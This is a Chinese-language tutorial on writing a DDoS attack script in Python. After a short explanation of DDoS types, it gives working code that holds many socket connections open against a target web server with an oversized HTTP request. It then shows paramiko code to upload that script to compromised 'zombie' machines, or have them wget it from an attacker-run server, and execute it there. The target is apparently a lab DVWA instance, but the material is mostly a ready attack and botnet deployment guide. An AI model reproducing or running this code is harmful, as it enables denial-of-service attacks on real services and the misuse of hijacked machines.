python編寫DDoS攻擊指令碼
一、什麼是DDoS攻擊
DDoS攻擊就是分散式的拒絕服務攻擊,DDoS攻擊手段是在傳統的DoS攻擊基礎之上產生的一類攻擊方式。單一的DoS攻擊一般是採用一對一方式的,隨著計算機與網路技術的發展,DoS攻擊的困難程度加大了。於是就產生了DDoS攻擊,它的原理就很簡單:計算機與網路的處理能力加大了10倍,用一臺攻擊機來攻擊不再能起作用,那麼DDoS就是利用更多的傀儡機來發起進攻,以比從前更大的規模來進攻受害者。
二、DDoS分類
作為目前最強大、最難防禦的攻擊之一,DDos攻擊主要分為兩種。
- 以力取勝:海量的資料包從網際網路各個角落蜂擁而來,堵塞IDC入口,典型的為ICMP Flood和UDP Flood(消耗頻寬)。
- 以巧取勝:主要是利用協議或者軟體的漏洞發起,如Slowloris攻擊,hash衝突。(協議攻擊)
- 混合:上述兩種混合,即利用協議、系統的缺陷,又具備海量的資源,如SYN Flood攻擊,DNS Query Flood攻擊。
三、編寫DDoS攻擊指令碼
- 編寫DDoS攻擊指令碼,原理是使用
socket
連線到目標網站,併發送大量http請求,從而耗盡受攻擊網站資源:
import socket
import time
import threading
MAX_CONN = 100 # 設定連線的數量
PORT = 80 # 設定埠號
HOST = "10.16.53.180" # 設定IP地址
PAGE = "/DVWA"
buf = ("GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
"Content-Length: 1000000000\r\n"
"\r\n" % (PAGE, HOST)) # HTTP請求
socks = []
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(bytes(buf, encoding='utf-8')) # 傳送HTTP請求
print("[+] Send buf OK!,conn=%d" % i)
socks.append(s)
except Exception as ex:
print("[-] Could not connect to server or send error:%s" % ex)
time.sleep(2)
def send_thread():
global socks
for i in range(10):
for s in socks:
try:
s.send(bytes("ddos", encoding='utf-8')) # ddos攻擊
print("[+] send OK!")
except Exception as ex:
print("[-] send Exception:%s" % ex)
socks.remove(s)
s.close()
time.sleep(1)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
- 連線到“傀儡機”,也就是我們常說的“肉雞”,通過ssh進行連線,並將ddos指令碼上傳到“肉雞”,方式有許多種,這裡介紹兩種。
- 直接通過python的
paramiko
模組上傳檔案到遠端:
import paramiko
t = paramiko.Transport(("IP地址",22))
t.connect(username = "使用者名稱", password = "密碼")
sftp = paramiko.SFTPClient.from_transport(t)
remotepath='/home/ddos.py'
localpath='D:\ddos\ddos.py'
sftp.put(localpath,remotepath)
t.close()
- 在本地開啟apache服務,向遠端傳送
wget http://10.16.14.171/ddos.py -O ddos.py
指令,下載apache伺服器目錄下的ddos.py指令碼:
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.16.66.71', 22, '使用者名稱', '密碼')
stdin, stdout, stderr = ssh.exec_command('wget http://10.16.14.171/ddos.py -O ddos.py')
上述兩種辦法適用於Windows平臺,想在linux平臺上實現,可以使用
pexpect
模組實現ssh連線。
- 執行指令碼:
stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')
執行效果如圖: